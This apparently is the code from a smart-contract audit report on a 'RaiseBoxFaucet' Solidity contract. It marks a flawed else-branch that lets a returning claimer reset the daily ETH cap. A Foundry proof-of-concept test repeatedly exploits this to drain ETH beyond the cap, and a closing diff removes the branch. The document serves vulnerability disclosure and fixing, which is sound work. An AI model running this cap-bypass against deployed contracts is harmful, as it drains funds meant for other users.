if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
@>} else {
@> dailyDrips = 0;
@>}
pragma solidity ^0.8.30;
import {Test, console} from "forge-std/Test.sol";
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
contract DailyEthCapBypassTest is Test {
RaiseBoxFaucet public faucet;
address public owner = makeAddr("owner");
function setUp() public {
vm.startPrank(owner);
faucet = new RaiseBoxFaucet(
"TestToken",
"TEST",
1000 * 10**18,
0.005 ether,
0.1 ether
);
vm.deal(address(faucet), 10 ether);
vm.stopPrank();
}
function testDailyEthCapBypass() public {
uint256 initialBalance = address(faucet).balance;
console.log("Initial faucet ETH balance:", initialBalance / 1e18, "ETH");
console.log("Daily ETH cap:", 0.1 ether / 1e18, "ETH (20 users)");
console.log("---");
console.log("PHASE 1: 19 first-time users claim (0.095 ETH distributed)");
address[] memory resetter = new address[](1);
for (uint256 i = 1; i <= 19; i++) {
address user = makeAddr(string(abi.encodePacked("firstTimer", i)));
vm.prank(user);
faucet.claimFaucetTokens();
if (i == 1) {
resetter[0] = user;
}
}
console.log("Daily ETH drips after 19 claims:", faucet.dailyDrips() / 1e18, "ETH");
console.log("Remaining capacity:", (0.1 ether - faucet.dailyDrips()) / 1e18, "ETH");
console.log("---");
console.log("PHASE 2: 20th user tries to claim (should be blocked by cap)");
address user20 = makeAddr("firstTimer20");
vm.prank(user20);
faucet.claimFaucetTokens();
bool user20GotEth = faucet.getHasClaimedEth(user20);
console.log("Did user20 receive ETH?", user20GotEth ? "YES (cap not enforced!)" : "NO (cap working)");
console.log("---");
console.log("PHASE 3: Exploit - Previous claimer resets dailyDrips");
vm.warp(block.timestamp + 3 days + 1);
console.log("dailyDrips before reset:", faucet.dailyDrips() / 1e18, "ETH");
vm.prank(resetter[0]);
faucet.claimFaucetTokens();
console.log("dailyDrips after resetter claims:", faucet.dailyDrips() / 1e18, "ETH");
console.log("---");
console.log("PHASE 4: 20 MORE first timers claim ");
for (uint256 i = 21; i <= 40; i++) {
address user = makeAddr(string(abi.encodePacked("firstTimer", i)));
vm.prank(user);
faucet.claimFaucetTokens();
}
console.log("Daily ETH drips after 40 total claims:", faucet.dailyDrips() / 1e18, "ETH");
console.log("---");
console.log("PHASE 5: Repeat exploit to drain more");
vm.warp(block.timestamp + 1);
address resetter2 = makeAddr("firstTimer2");
vm.warp(block.timestamp + 3 days);
vm.prank(resetter2);
faucet.claimFaucetTokens();
console.log("dailyDrips after 2nd reset:", faucet.dailyDrips() / 1e18, "ETH");
for (uint256 i = 41; i <= 60; i++) {
address user = makeAddr(string(abi.encodePacked("firstTimer", i)));
vm.prank(user);
faucet.claimFaucetTokens();
}
uint256 finalBalance = address(faucet).balance;
uint256 totalDrained = initialBalance - finalBalance;
console.log("---");
console.log("RESULTS:");
console.log("Total ETH drained:", totalDrained / 1e18, "ETH");
console.log("Daily cap was:", 0.1 ether / 1e18, "ETH");
console.log("Actual drainage:", totalDrained / 1e18, "ETH (", (totalDrained * 100) / 0.1 ether, "% of cap)");
console.log("Remaining faucet balance:", finalBalance / 1e18, "ETH");
assertGt(totalDrained, 0.1 ether, "Should have drained more than daily cap");
}
}
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
-} else {
- dailyDrips = 0;
}